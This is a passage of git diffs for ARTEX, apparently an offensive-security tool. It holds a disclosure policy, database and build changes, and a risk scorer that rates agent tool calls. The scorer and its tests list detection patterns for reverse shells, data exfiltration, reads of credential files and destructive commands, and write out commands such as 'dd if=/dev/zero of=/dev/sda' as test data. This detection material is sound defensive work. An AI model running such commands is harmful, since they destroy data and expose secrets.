## Scope and Authorized Testing
|
||||
|
||||
ARTEX is an offensive-security tool. Test only against:
|
||||
- Your own ARTEX deployment in a lab or local environment;
|
||||
- Systems you own;
|
||||
- Targets explicitly authorized in writing (bug bounty, pentest contract, etc.).
|
||||
|
||||
Testing, scanning, or exploiting third-party systems without explicit authorization is strictly prohibited. Reports that violate this principle may be closed without action.
|
||||
|
||||
## What to Expect
|
||||
|
||||
This is an open-source project maintained on a best-effort basis. We aim to acknowledge a report within about a week and keep you updated, but we cannot guarantee specific response or fix timeframes.
|
||||
|
||||
## If a Report Is Accepted
|
||||
|
||||
- We will open a private **GitHub Security Advisory** for coordination.
|
||||
- We will identify the release containing the fix when it is published.
|
||||
- We may request a **CVE** if the vulnerability qualifies.
|
||||
- We will credit you or your organization in the advisory if you wish.
|
||||
- Default disclosure timing: **90 days** after a fix is available, or earlier by mutual agreement. If the vulnerability is being exploited in the wild, we may disclose earlier.
|
||||
|
||||
## If a Report Is Declined
|
||||
|
||||
We will explain the reason, for example:
|
||||
- It is not a security vulnerability but intended behavior.
|
||||
- It is outside ARTEX’s scope (e.g., an issue in an LLM provider, PostgreSQL, Docker, or a browser).
|
||||
- There is insufficient information to reproduce it.
|
||||
- The report only states that “the tool can be misused” without identifying a specific technical flaw in ARTEX.
|
||||
|
||||
Where appropriate, we may convert the report into a public hardening issue or feature request.
|
||||
|
||||
## Out of Scope
|
||||
|
||||
The following are generally **not** considered ARTEX security vulnerabilities:
|
||||
- Attacks or scans against systems you do not own or are not authorized to test.
|
||||
- Self-XSS, spam, or brute-force without real impact.
|
||||
- Large-scale DoS/DDoS or resource-exhaustion attacks.
|
||||
- Social engineering targeting maintainers or users.
|
||||
- Issues that exist only in third-party dependencies and do not affect ARTEX.
|
||||
- Reports that “ARTEX can be used to attack systems” when the user has valid authorization — this is the nature of a penetration-testing tool, not a vulnerability.
|
||||
- Missing headers or hardening configuration without a concrete security impact.
|
||||
|
||||
## Safe Harbor
|
||||
|
||||
We welcome ethical security research. If you follow this policy and test only within authorized scope, we will not pursue legal action against you for good-faith research. This does not exempt you from applicable laws in your jurisdiction.
|
||||
|
||||
## Disclosure Policy
|
||||
|
||||
- Do not publicly disclose vulnerability details before a fix is available or before the coordinated disclosure period ends.
|
||||
- Do not publish a public PoC without maintainer consent.
|
||||
- If you do not receive a response within a reasonable time, please ping the contact channel above before disclosing.
|
||||
|
||||
Thank you for helping make ARTEX safer.
|
||||
@@ -1,5 +1,5 @@
|
||||
// Package agent wires real LLM-driven planner and work agents (on top of the
|
||||
// agent-core SDK) to the dual SQLite graph. See the ARTEX architecture design doc
|
||||
// agent-core SDK) to the dual PostgreSQL graph. See the ARTEX architecture design doc
|
||||
// §4.3 (planner) and §4.4 (work agent).
|
||||
//
|
||||
// Provider configuration is read from the environment so the system runs with
|
||||
|
||||
@@ -8,7 +8,7 @@
|
||||
# ARTEX_TARGET_OS=linux One target OS in single-target mode.
|
||||
# ARTEX_TARGET_ARCH=amd64 One target arch in single-target mode.
|
||||
# ARTEX_TARGETS=linux/amd64,... Comma-separated targets for multi-target mode.
|
||||
# ARTEX_BUILD_VERSION=v0.3.3 Version embedded in the binary and archive name.
|
||||
# ARTEX_BUILD_VERSION=vX.Y.Z Version embedded in the binary and archive name.
|
||||
# ARTEX_OUTPUT=/path/to/artex Explicit binary path in single-target mode.
|
||||
# ARTEX_OUTPUT_DIR=dist Directory for default binary paths.
|
||||
# ARTEX_PACKAGE=1 Create a zip archive for each target.
|
||||
@@ -97,7 +97,7 @@ if [ -z "${ARTEX_BUILD_VERSION:-}" ]; then
|
||||
ARTEX_BUILD_VERSION="dev"
|
||||
fi
|
||||
fi
|
||||
# Release tags are commonly passed as v0.3.3; keep the binary version consistent.
|
||||
# Release tags are commonly passed with a v prefix; keep the binary version consistent.
|
||||
ARTEX_BUILD_VERSION="${ARTEX_BUILD_VERSION#v}"
|
||||
ARTEX_OUTPUT_DIR="${ARTEX_OUTPUT_DIR:-dist}"
|
||||
ARTEX_PACKAGE_DIR="${ARTEX_PACKAGE_DIR:-$ARTEX_OUTPUT_DIR}"
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
// Command artex runs the ARTEX backend: the dual SQLite graph stores,
|
||||
// Command artex runs the ARTEX backend: the dual PostgreSQL graph stores,
|
||||
// the event-driven exploration engine, and the JSON HTTP API consumed by the
|
||||
// shadcn/ui frontend.
|
||||
package main
|
||||
@@ -50,7 +50,7 @@ func main() {
|
||||
func run() int {
|
||||
var (
|
||||
addr = flag.String("addr", "127.0.0.1:8787", "HTTP listen address")
|
||||
dataDir = flag.String("data", filepath.Join(config.BaseDir(), "data"), "data directory for SQLite stores (default: data/ next to the executable)")
|
||||
dataDir = flag.String("data", filepath.Join(config.BaseDir(), "data"), "runtime data directory: traffic index, task files, transcripts (default: data/ next to the executable)")
|
||||
proxy = flag.String("proxy", "127.0.0.1:8788", "traffic recording proxy address (empty to disable)")
|
||||
)
|
||||
flag.Parse()
|
||||
|
||||
@@ -0,0 +1,198 @@
|
||||
package db
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
// largeCoverageFixture is a task scoped by 800 subdomains spread over 200 root
|
||||
// domains and 20 companies, with 1,000 services, 1,200 endpoints and 2,000
|
||||
// anchored facts. Every tenth root has no asset row, so the graph needs both
|
||||
// real and synthetic ("r:<domain>") connector roots.
|
||||
type largeCoverageFixture struct {
|
||||
taskID, expID int64
|
||||
suffix string
|
||||
}
|
||||
|
||||
const (
|
||||
lcRoots = 200
|
||||
lcCompanies = 20
|
||||
lcSubs = 800
|
||||
lcServices = 1000
|
||||
lcEndpoints = 1200
|
||||
lcFacts = 2000
|
||||
)
|
||||
|
||||
func seedLargeCoverageFixture(tb testing.TB, d *DB) largeCoverageFixture {
|
||||
tb.Helper()
|
||||
task, err := d.CreateTask("large coverage graph", "large coverage graph", nil, 0, 0)
|
||||
if err != nil {
|
||||
tb.Fatal(err)
|
||||
}
|
||||
f := largeCoverageFixture{taskID: task.ID, expID: task.ExplorationID, suffix: fmt.Sprintf("lc%d", task.ID)}
|
||||
tb.Cleanup(func() {
|
||||
_, _ = d.Exec(`DELETE FROM explorations WHERE id=$1`, f.expID)
|
||||
_ = d.DeleteTask(f.taskID)
|
||||
_, _ = d.Exec(`DELETE FROM assets WHERE root_domain LIKE '%-'||$1||'.cov.test'`, f.suffix)
|
||||
_, _ = d.Exec(`DELETE FROM companies WHERE nkey LIKE 'lcco-'||$1||'-%'`, f.suffix)
|
||||
})
|
||||
exec := func(q string, args ...any) {
|
||||
tb.Helper()
|
||||
if _, err := d.Exec(q, args...); err != nil {
|
||||
tb.Fatalf("%v\n%s", err, q)
|
||||
}
|
||||
}
|
||||
// root g: r<g>-<suffix>.cov.test, company 1+(g-1)%lcCompanies.
|
||||
// subdomain i: s<i>.<root 1+(i-1)%lcRoots>.
|
||||
exec(`INSERT INTO companies(name,nkey)
|
||||
SELECT 'large co '||g||' '||$1, 'lcco-'||$1||'-'||g FROM generate_series(1,$2) g`, f.suffix, lcCompanies)
|
||||
exec(`INSERT INTO assets(type,domain,root_domain,company_id)
|
||||
SELECT 'root_domain', 'r'||g||'-'||$1||'.cov.test', 'r'||g||'-'||$1||'.cov.test',
|
||||
(SELECT id FROM companies WHERE nkey='lcco-'||$1||'-'||(1+(g-1)%$3))
|
||||
FROM generate_series(1,$2) g WHERE g%10<>0`, f.suffix, lcRoots, lcCompanies)
|
||||
exec(`INSERT INTO assets(type,domain,root_domain,company_id)
|
||||
SELECT 'subdomain', 's'||i||'.r'||r||'-'||$1||'.cov.test', 'r'||r||'-'||$1||'.cov.test',
|
||||
(SELECT id FROM companies WHERE nkey='lcco-'||$1||'-'||(1+(r-1)%$4))
|
||||
FROM generate_series(1,$3) i, LATERAL (SELECT 1+(i-1)%$2 AS r) x`, f.suffix, lcRoots, lcSubs, lcCompanies)
|
||||
// service j hangs off subdomain 1+(j-1)%lcSubs: port 443 for the first
|
||||
// lcSubs services, 8443 for the rest.
|
||||
exec(`INSERT INTO assets(type,service_type,url,domain,root_domain,port,company_id)
|
||||
SELECT 'service','http', 'https://'||s.domain||':'||p||'/', s.domain, s.root_domain, p, s.company_id
|
||||
FROM generate_series(1,$2) j
|
||||
CROSS JOIN LATERAL (SELECT CASE WHEN j<=$3 THEN 443 ELSE 8443 END AS p) port
|
||||
JOIN assets s ON s.type='subdomain' AND s.root_domain LIKE '%-'||$1||'.cov.test'
|
||||
AND s.domain LIKE 's'||(1+(j-1)%$3)||'.%'`, f.suffix, lcServices, lcSubs)
|
||||
exec(`INSERT INTO assets(type,url,method,domain,root_domain,port,company_id)
|
||||
SELECT 'endpoint', 'https://'||s.domain||'/p/'||k, 'GET', s.domain, s.root_domain, 443, s.company_id
|
||||
FROM generate_series(1,$2) k
|
||||
JOIN assets s ON s.type='subdomain' AND s.root_domain LIKE '%-'||$1||'.cov.test'
|
||||
AND s.domain LIKE 's'||(1+(k-1)%$3)||'.%'`, f.suffix, lcEndpoints, lcSubs)
|
||||
exec(`INSERT INTO task_scope(task_id,kind,domain,source)
|
||||
SELECT $1,'subdomain',domain,'manual' FROM assets
|
||||
WHERE type='subdomain' AND root_domain LIKE '%-'||$2||'.cov.test'`, f.taskID, f.suffix)
|
||||
exec(`INSERT INTO exploration_nodes(exploration_id,kind,state,payload)
|
||||
SELECT $1,'fact','confirmed',jsonb_build_object('summary','large coverage fact '||g) FROM generate_series(1,$2) g`, f.expID, lcFacts)
|
||||
exec(`WITH fn AS (
|
||||
SELECT id, row_number() OVER (ORDER BY id) rn FROM exploration_nodes
|
||||
WHERE exploration_id=$1 AND kind='fact' AND payload->>'summary' LIKE 'large coverage fact %'),
|
||||
an AS (
|
||||
SELECT id, row_number() OVER (ORDER BY id) rn FROM assets
|
||||
WHERE type<>'root_domain' AND root_domain LIKE '%-'||$2||'.cov.test')
|
||||
INSERT INTO exploration_anchors(node_id,asset_id) SELECT fn.id, an.id FROM fn JOIN an USING (rn)`, f.expID, f.suffix)
|
||||
exec(`ANALYZE assets, task_scope, exploration_nodes, exploration_anchors, companies`)
|
||||
return f
|
||||
}
|
||||
|
||||
func TestBuildCoverageGraphLargeInvariants(t *testing.T) {
|
||||
d, err := Open(testDSN(t))
|
||||
if err != nil {
|
||||
t.Skipf("postgres unavailable (%v) - skipping", err)
|
||||
}
|
||||
t.Cleanup(func() { d.Close() })
|
||||
f := seedLargeCoverageFixture(t, d)
|
||||
|
||||
g, err := d.Assets().BuildCoverageGraph(f.taskID, f.expID)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
const (
|
||||
syntheticRoots = lcRoots / 10
|
||||
realRoots = lcRoots - syntheticRoots
|
||||
inScope = lcSubs + lcServices + lcEndpoints
|
||||
wantNodes = inScope + lcRoots + lcCompanies
|
||||
// subdomain→root, service→subdomain, endpoint→service (port 443), and
|
||||
// real root→company; a synthetic root has no company.
|
||||
wantEdges = lcSubs + lcServices + lcEndpoints + realRoots
|
||||
)
|
||||
if len(g.Nodes) != wantNodes || len(g.Edges) != wantEdges {
|
||||
t.Fatalf("graph size: nodes=%d edges=%d, want %d/%d", len(g.Nodes), len(g.Edges), wantNodes, wantEdges)
|
||||
}
|
||||
|
||||
byKey := make(map[string]CoverageGraphNode, len(g.Nodes))
|
||||
kinds := map[string]int{}
|
||||
var tested, scoped, synthetic, realConnector int
|
||||
for _, n := range g.Nodes {
|
||||
if _, dup := byKey[n.Key]; dup {
|
||||
t.Fatalf("duplicate node key %q", n.Key)
|
||||
}
|
||||
byKey[n.Key] = n
|
||||
kinds[n.Kind]++
|
||||
if n.Tested {
|
||||
tested++
|
||||
}
|
||||
if n.InScope {
|
||||
scoped++
|
||||
}
|
||||
switch {
|
||||
case strings.HasPrefix(n.Key, "r:"):
|
||||
synthetic++
|
||||
if n.Kind != "root_domain" || n.InScope || n.AssetID != 0 || n.Key != "r:"+n.Domain {
|
||||
t.Fatalf("synthetic root: %+v", n)
|
||||
}
|
||||
case n.Kind == "root_domain":
|
||||
realConnector++
|
||||
if n.InScope || n.AssetID == 0 || n.CompanyID == 0 {
|
||||
t.Fatalf("connector root: %+v", n)
|
||||
}
|
||||
case n.Kind == "company":
|
||||
if n.InScope || n.Label == "" || n.Key != companyKey(n.CompanyID) {
|
||||
t.Fatalf("company node: %+v", n)
|
||||
}
|
||||
}
|
||||
}
|
||||
if kinds["subdomain"] != lcSubs || kinds["service"] != lcServices || kinds["endpoint"] != lcEndpoints ||
|
||||
kinds["root_domain"] != lcRoots || kinds["company"] != lcCompanies {
|
||||
t.Fatalf("node kinds: %v", kinds)
|
||||
}
|
||||
if synthetic != syntheticRoots || realConnector != realRoots {
|
||||
t.Fatalf("connector roots: synthetic=%d real=%d, want %d/%d", synthetic, realConnector, syntheticRoots, realRoots)
|
||||
}
|
||||
if scoped != inScope || tested != lcFacts {
|
||||
t.Fatalf("in_scope=%d tested=%d, want %d/%d", scoped, tested, inScope, lcFacts)
|
||||
}
|
||||
|
||||
seenEdge := map[CoverageGraphEdge]bool{}
|
||||
for _, e := range g.Edges {
|
||||
src, okSrc := byKey[e.Src]
|
||||
dst, okDst := byKey[e.Dst]
|
||||
if !okSrc || !okDst || e.Src == e.Dst {
|
||||
t.Fatalf("edge %+v points to a missing node", e)
|
||||
}
|
||||
if seenEdge[e] {
|
||||
t.Fatalf("duplicate edge %+v", e)
|
||||
}
|
||||
seenEdge[e] = true
|
||||
want := map[string]string{"subdomain": "root_domain", "service": "subdomain", "endpoint": "service", "root_domain": "company"}[src.Kind]
|
||||
if dst.Kind != want {
|
||||
t.Fatalf("edge %s(%s) -> %s(%s), want parent kind %s", e.Src, src.Kind, e.Dst, dst.Kind, want)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// BenchmarkBuildCoverageGraphLarge locks in the cost of the coverage graph on
|
||||
// the large fixture (statement count and query plan). No time assertion.
|
||||
func BenchmarkBuildCoverageGraphLarge(b *testing.B) {
|
||||
dsn, _, err := DSN()
|
||||
if err != nil {
|
||||
b.Skipf("no database config (%v) - skipping", err)
|
||||
}
|
||||
d, err := Open(dsn)
|
||||
if err != nil {
|
||||
b.Skipf("postgres unavailable (%v) - skipping", err)
|
||||
}
|
||||
b.Cleanup(func() { d.Close() })
|
||||
f := seedLargeCoverageFixture(b, d)
|
||||
store := d.Assets()
|
||||
b.ResetTimer()
|
||||
for i := 0; i < b.N; i++ {
|
||||
g, err := store.BuildCoverageGraph(f.taskID, f.expID)
|
||||
if err != nil {
|
||||
b.Fatal(err)
|
||||
}
|
||||
if len(g.Nodes) == 0 {
|
||||
b.Fatal("empty graph")
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -119,8 +119,8 @@ func readApplied(t *testing.T, d *DB) []appliedMigration {
|
||||
return out
|
||||
}
|
||||
|
||||
// assertEmbeddedApplied checks that both LLM tables exist and that 0001 and
|
||||
// 0002 are recorded with the SHA-256 of their embedded files.
|
||||
// assertEmbeddedApplied checks that both LLM tables exist and that every
|
||||
// embedded migration is recorded with the SHA-256 of its file.
|
||||
func assertEmbeddedApplied(t *testing.T, d *DB) []appliedMigration {
|
||||
t.Helper()
|
||||
for _, table := range []string{"llm_records", "llm_usage"} {
|
||||
@@ -136,9 +136,9 @@ func assertEmbeddedApplied(t *testing.T, d *DB) []appliedMigration {
|
||||
want := []struct {
|
||||
version int
|
||||
name string
|
||||
}{{1, llmRecordsMigration}, {2, llmUsageMigration}}
|
||||
}{{1, llmRecordsMigration}, {2, llmUsageMigration}, {3, "0003_task_scope_icp_index.sql"}}
|
||||
if len(applied) != len(want) {
|
||||
t.Fatalf("schema_migrations = %+v, want versions 1 and 2", applied)
|
||||
t.Fatalf("schema_migrations = %+v, want versions 1 to 3", applied)
|
||||
}
|
||||
for i, w := range want {
|
||||
content, err := fs.ReadFile(migrationsFS(), w.name)
|
||||
@@ -301,7 +301,7 @@ func TestMigrationsFailClosed(t *testing.T) {
|
||||
}{
|
||||
{"checksum changed", withEmbedded(t, fstest.MapFS{"0003_probe.sql": {Data: append([]byte("-- edited\n"), probeMigration.Data...)}}),
|
||||
[]string{"0003", "0003_probe.sql", "checksum"}},
|
||||
{"version missing from binary", migrationsFS(),
|
||||
{"version missing from binary", withEmbedded(t, fstest.MapFS{}),
|
||||
[]string{"0003", "0003_probe.sql", "missing from this binary"}},
|
||||
{"name changed", withEmbedded(t, fstest.MapFS{"0003_renamed.sql": probeMigration}),
|
||||
[]string{"0003", "0003_probe.sql", "0003_renamed.sql"}},
|
||||
|
||||
@@ -0,0 +1,9 @@
|
||||
-- The coverage target CTE (contextCoverageCTE / covTargetCTE / scopeTargetCTE)
|
||||
-- joins assets to task_scope on an OR of per-kind predicates. PostgreSQL plans it
|
||||
-- as one BitmapOr probe of task_scope per asset. Every branch had an index except
|
||||
-- kind='icp', which fell back to uq_task_scope_v2 with only "kind = 'icp'" as the
|
||||
-- index condition (task_id is the leading column), so each probe walked the
|
||||
-- whole unique index: about 70% of the buffer hits of the coverage-graph query on
|
||||
-- a 3,000-asset task scoped by 800 subdomains. This partial index makes the icp
|
||||
-- probe an equality lookup on value.
|
||||
CREATE INDEX IF NOT EXISTS idx_ts_icp ON task_scope(value) WHERE kind = 'icp';
|
||||
@@ -4,6 +4,7 @@ import (
|
||||
"database/sql"
|
||||
"fmt"
|
||||
"net"
|
||||
"sort"
|
||||
"strconv"
|
||||
"strings"
|
||||
)
|
||||
@@ -534,16 +535,44 @@ ORDER BY a.id`, taskID)
|
||||
}
|
||||
}
|
||||
}
|
||||
// One query for every missing root instead of one per root.
|
||||
roots := make([]string, 0, len(missingRoots))
|
||||
for root := range missingRoots {
|
||||
var id, companyID int64
|
||||
err := s.db.QueryRow(`SELECT id, COALESCE(company_id,0) FROM assets
|
||||
WHERE type='root_domain' AND domain=$1 LIMIT 1`, root).Scan(&id, &companyID)
|
||||
roots = append(roots, root)
|
||||
}
|
||||
sort.Strings(roots)
|
||||
type rootRow struct{ id, companyID int64 }
|
||||
rootRows := map[string]rootRow{}
|
||||
if len(roots) > 0 {
|
||||
rrows, err := s.db.Query(`SELECT domain, id, COALESCE(company_id,0) FROM assets
|
||||
WHERE type='root_domain' AND domain=ANY($1::text[]) ORDER BY id`, roots)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
for rrows.Next() {
|
||||
var domain string
|
||||
var r rootRow
|
||||
if err := rrows.Scan(&domain, &r.id, &r.companyID); err != nil {
|
||||
rrows.Close()
|
||||
return nil, err
|
||||
}
|
||||
if _, ok := rootRows[domain]; !ok {
|
||||
rootRows[domain] = r
|
||||
}
|
||||
}
|
||||
err = rrows.Err()
|
||||
rrows.Close()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
for _, root := range roots {
|
||||
var node CoverageGraphNode
|
||||
if err == nil && id > 0 {
|
||||
node = CoverageGraphNode{Key: assetKey(id), Kind: "root_domain", AssetID: id,
|
||||
CompanyID: companyID, Domain: root, Label: root}
|
||||
if companyID > 0 {
|
||||
companyIDs[companyID] = true
|
||||
if r, ok := rootRows[root]; ok && r.id > 0 {
|
||||
node = CoverageGraphNode{Key: assetKey(r.id), Kind: "root_domain", AssetID: r.id,
|
||||
CompanyID: r.companyID, Domain: root, Label: root}
|
||||
if r.companyID > 0 {
|
||||
companyIDs[r.companyID] = true
|
||||
}
|
||||
} else {
|
||||
node = CoverageGraphNode{Key: "r:" + root, Kind: "root_domain", Domain: root, Label: root}
|
||||
@@ -552,18 +581,34 @@ WHERE type='root_domain' AND domain=$1 LIMIT 1`, root).Scan(&id, &companyID)
|
||||
rootByDomain[root] = node.Key
|
||||
}
|
||||
|
||||
// Company nodes for every referenced company id — always gray context.
|
||||
// Company nodes for every referenced company id — always gray context. One
|
||||
// query for all of them; an id with no company row gets no node.
|
||||
ids := make([]int64, 0, len(companyIDs))
|
||||
for id := range companyIDs {
|
||||
key := companyKey(id)
|
||||
if _, ok := byKey[key]; ok {
|
||||
continue
|
||||
if _, ok := byKey[companyKey(id)]; !ok {
|
||||
ids = append(ids, id)
|
||||
}
|
||||
var name string
|
||||
if err := s.db.QueryRow(`SELECT name FROM companies WHERE id=$1`, id).Scan(&name); err != nil {
|
||||
continue
|
||||
}
|
||||
if len(ids) > 0 {
|
||||
crows, err := s.db.Query(`SELECT id, name FROM companies WHERE id=ANY($1::bigint[]) ORDER BY id`, ids)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
for crows.Next() {
|
||||
var id int64
|
||||
var name string
|
||||
if err := crows.Scan(&id, &name); err != nil {
|
||||
crows.Close()
|
||||
return nil, err
|
||||
}
|
||||
add(CoverageGraphNode{Key: companyKey(id), Kind: "company", CompanyID: id,
|
||||
Label: name, AssetID: 0})
|
||||
}
|
||||
err = crows.Err()
|
||||
crows.Close()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
add(CoverageGraphNode{Key: key, Kind: "company", CompanyID: id,
|
||||
Label: name, AssetID: 0})
|
||||
}
|
||||
|
||||
// Derived containment edges (only when the parent node exists).
|
||||
|
||||
@@ -54,10 +54,10 @@ services:
|
||||
- "${ARTEX_BIND_ADDR:-127.0.0.1}:8787:8787"
|
||||
- "127.0.0.1:8788:8788"
|
||||
volumes:
|
||||
# Bind the data directory (SQLite, task files, etc.) to data/ in the project root,
|
||||
# Bind the runtime data directory (traffic index, task files, transcripts, etc.) to data/ in the project root,
|
||||
# so it is easy to inspect/back up on the host and survives container rebuilds.
|
||||
- ./data:/app/data
|
||||
# JWT signing key (jwt.key), kept out of data/, which the file manager browses.
|
||||
# JWT signing key and secret key (jwt.key, secret.key), kept out of data/, which the file manager browses.
|
||||
# Persisting it keeps users signed in across container rebuilds.
|
||||
- ./keys:/app/keys
|
||||
# Mount skills/ from the project root into the container (overriding the image's built-in /app/skills);
|
||||
|
||||
@@ -0,0 +1,157 @@
|
||||
package intercept
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"regexp"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// RiskReport is a deterministic estimate of how dangerous a pending tool call
|
||||
// is. No model is involved, and it is computed when a pending row is read,
|
||||
// never stored: changing the rules below re-scores every open request.
|
||||
type RiskReport struct {
|
||||
Score int `json:"score"` // 0..100
|
||||
Level string `json:"level"` // low (<30) | medium (30..69) | high (>=70)
|
||||
Reasons []string `json:"reasons"` // one per matched signal, in table order
|
||||
}
|
||||
|
||||
const (
|
||||
riskMediumAt = 30
|
||||
riskHighAt = 70
|
||||
riskMax = 100
|
||||
)
|
||||
|
||||
func riskLevel(score int) string {
|
||||
switch {
|
||||
case score >= riskHighAt:
|
||||
return "high"
|
||||
case score >= riskMediumAt:
|
||||
return "medium"
|
||||
}
|
||||
return "low"
|
||||
}
|
||||
|
||||
type riskSignal struct {
|
||||
reason string
|
||||
points int
|
||||
match func(string) bool
|
||||
}
|
||||
|
||||
func reSignal(reason string, points int, pattern string) riskSignal {
|
||||
re := regexp.MustCompile(pattern)
|
||||
return riskSignal{reason, points, re.MatchString}
|
||||
}
|
||||
|
||||
// shellBase is the score of a shell command that matches no signal.
|
||||
const shellBase = 10
|
||||
|
||||
// shellSignals are additive; each counts once, and reasons follow this order.
|
||||
var shellSignals = []riskSignal{
|
||||
// 60 so that a destructive command alone reaches high: 10 + 60 = 70.
|
||||
reSignal("destructive command (rm -r, dd, mkfs, shred, truncate, DROP TABLE, DELETE FROM, shutdown)", 60,
|
||||
`(?i)\brm\s+([^;&|]*\s)?(-[a-z]*r[a-z]*|--recursive)(\s|$)|\bdd\s+[^;&|]*\b(if|of)=|\bmkfs\b|\bshred\b|\btruncate\b|\bdrop\s+table\b|\bdelete\s+from\b|\bshutdown\b`),
|
||||
reSignal("privilege change (sudo, su, chmod 777, setcap)", 40,
|
||||
`(^|[\s;&|(])(sudo|su)(\s|$)|\bchmod\s+(-\w+\s+)*0?777\b|\bsetcap\b`),
|
||||
reSignal("reads secrets (/etc/shadow, .ssh, .aws/credentials, .git-credentials)", 40,
|
||||
`/etc/shadow|\.ssh/|\.aws/credentials|\.git-credentials`),
|
||||
reSignal("possible exfiltration (curl upload, scp, remote rsync, nc, socat)", 40,
|
||||
`\bcurl\b[^;&|]*\s(-d|--data[\w-]*|-F|--form|-T|--upload-file)(\s|=|$)|\bscp\b|\brsync\b[^;&|]*\s\S+:|\bnc\b|\bncat\b|\bsocat\b`),
|
||||
reSignal("reverse shell pattern (/dev/tcp, nc -e)", 60,
|
||||
`/dev/tcp/|\b(nc|ncat)\b[^;&|]*\s-e(\s|$)`),
|
||||
reSignal("network scanner (nmap, nuclei, sqlmap, ffuf, hydra, masscan, dalfox)", 30,
|
||||
`\b(nmap|nuclei|sqlmap|ffuf|hydra|masscan|dalfox)\b`),
|
||||
{"writes files (redirection or tee)", 15, writesFile},
|
||||
}
|
||||
|
||||
var teeRE = regexp.MustCompile(`(^|[|;&]\s*)tee\b`)
|
||||
|
||||
// writesFile reports an output redirection to a file, or tee. "2>&1" and
|
||||
// redirections to /dev/null are not writes.
|
||||
func writesFile(cmd string) bool {
|
||||
if teeRE.MatchString(cmd) {
|
||||
return true
|
||||
}
|
||||
for i := 0; i < len(cmd); i++ {
|
||||
if cmd[i] != '>' {
|
||||
continue
|
||||
}
|
||||
rest := strings.TrimLeft(strings.TrimPrefix(cmd[i+1:], ">"), " \t")
|
||||
if strings.HasPrefix(rest, "&") || strings.HasPrefix(rest, "/dev/null") || rest == "" {
|
||||
continue
|
||||
}
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// fileBase is the score of a file write or edit; a sensitive path adds
|
||||
// fileSensitive on top, which makes it high.
|
||||
const (
|
||||
fileBase = 30
|
||||
fileSensitive = 40
|
||||
)
|
||||
|
||||
var sensitivePathRE = regexp.MustCompile(`(^|/)(\.ssh|\.aws|\.gnupg)/|^/etc/|^/root/|^/boot/|/\.git-credentials$|/\.(bashrc|bash_profile|profile|zshrc)$|/authorized_keys$|(^|/)\.env$`)
|
||||
|
||||
// webBase is the score of a web read; a mutating method adds webMutating.
|
||||
const (
|
||||
webBase = 10
|
||||
webMutating = 30
|
||||
)
|
||||
|
||||
// unknownBase is the floor for MCP tools, unrecognized tools and unreadable
|
||||
// input: medium, never low.
|
||||
const unknownBase = 30
|
||||
|
||||
// ScoreRisk scores one tool call. It never panics on malformed input: input
|
||||
// that is not a JSON object scores medium with a reason.
|
||||
func ScoreRisk(tool string, input json.RawMessage) RiskReport {
|
||||
var fields map[string]any
|
||||
if err := json.Unmarshal(input, &fields); err != nil || fields == nil {
|
||||
return riskReport(unknownBase, []string{"tool input is not a valid JSON object"})
|
||||
}
|
||||
str := func(keys ...string) string {
|
||||
for _, k := range keys {
|
||||
if v, ok := fields[k].(string); ok && v != "" {
|
||||
return v
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
switch tool {
|
||||
case "Bash", "shell_open", "Monitor", "shell_send":
|
||||
cmd := str("command", "text")
|
||||
score, reasons := shellBase, []string{}
|
||||
for _, s := range shellSignals {
|
||||
if s.match(cmd) {
|
||||
score += s.points
|
||||
reasons = append(reasons, s.reason)
|
||||
}
|
||||
}
|
||||
return riskReport(score, reasons)
|
||||
case "Write", "Edit", "MultiEdit", "NotebookEdit":
|
||||
reasons := []string{"writes or edits a file"}
|
||||
score := fileBase
|
||||
if sensitivePathRE.MatchString(str("file_path", "path", "notebook_path")) {
|
||||
score += fileSensitive
|
||||
reasons = append(reasons, "sensitive path (system, credential or shell startup file)")
|
||||
}
|
||||
return riskReport(score, reasons)
|
||||
case "WebFetch", "web_search":
|
||||
method := strings.ToUpper(str("method"))
|
||||
switch method {
|
||||
case "POST", "PUT", "PATCH", "DELETE":
|
||||
return riskReport(webBase+webMutating, []string{"mutating HTTP method " + method})
|
||||
}
|
||||
return riskReport(webBase, []string{})
|
||||
}
|
||||
if strings.HasPrefix(tool, "mcp__") {
|
||||
return riskReport(unknownBase, []string{"MCP tool: no specific rules"})
|
||||
}
|
||||
return riskReport(unknownBase, []string{"unrecognized tool: no specific rules"})
|
||||
}
|
||||
|
||||
func riskReport(score int, reasons []string) RiskReport {
|
||||
score = min(score, riskMax)
|
||||
return RiskReport{Score: score, Level: riskLevel(score), Reasons: reasons}
|
||||
}
|
||||
@@ -0,0 +1,112 @@
|
||||
package intercept
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"slices"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestScoreRisk(t *testing.T) {
|
||||
sig := func(i int) string { return shellSignals[i].reason }
|
||||
const (
|
||||
destructive = iota
|
||||
privilege
|
||||
secrets
|
||||
exfil
|
||||
reverse
|
||||
scanner
|
||||
writes
|
||||
)
|
||||
bash := func(cmd string) json.RawMessage {
|
||||
raw, _ := json.Marshal(map[string]string{"command": cmd})
|
||||
return raw
|
||||
}
|
||||
cases := []struct {
|
||||
name string
|
||||
tool string
|
||||
input json.RawMessage
|
||||
score int
|
||||
level string
|
||||
reasons []string
|
||||
}{
|
||||
{"plain command", "Bash", bash("ls -la"), 10, "low", nil},
|
||||
{"destructive alone is high", "Bash", bash("rm -rf ./cache"), 70, "high", []string{sig(destructive)}},
|
||||
{"rm -rf", "Bash", bash("rm -rf /tmp/x"), 70, "high", []string{sig(destructive)}},
|
||||
{"rm -R", "Bash", bash("rm -R build"), 70, "high", []string{sig(destructive)}},
|
||||
{"rm of a file named -r suffix", "Bash", bash("rm file-r"), 10, "low", nil},
|
||||
{"dd", "Bash", bash("dd if=/dev/zero of=/dev/sda"), 70, "high", []string{sig(destructive)}},
|
||||
